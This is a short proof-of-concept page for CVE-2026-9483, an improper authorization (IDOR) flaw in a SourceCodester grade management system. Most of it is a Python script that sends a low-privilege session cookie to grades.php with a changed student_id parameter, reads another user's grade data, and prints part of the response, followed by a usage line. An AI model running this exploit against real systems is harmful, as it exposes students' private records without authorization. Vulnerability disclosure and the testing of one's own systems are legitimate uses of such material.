CVE-2026-9483 SourceCodester成绩管理系统授权不当漏洞

import requests def check_vulnerability(target_url, session_id): """ PoC for CVE-2026-9483: Improper Authorization in grades.php """ # Target endpoint endpoint = f"{target_url}/grades.php" # Cookies simulating a low-privilege logged-in user (PR:L) cookies = { "PHPSESSID": session_id } # Payload: Manipulating student_id to access another user's data # Assuming ID 1 is an admin or another student params = { "student_id": "1" } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Potential vulnerability confirmed!") print(f"[+] Response content snippet: {response.text[:200]}") else: print("[-] Exploit failed or endpoint not reachable.") except Exception as e: print(f"[!] Error: {e}") # Usage # check_vulnerability("http://target-ip", "valid_session_cookie")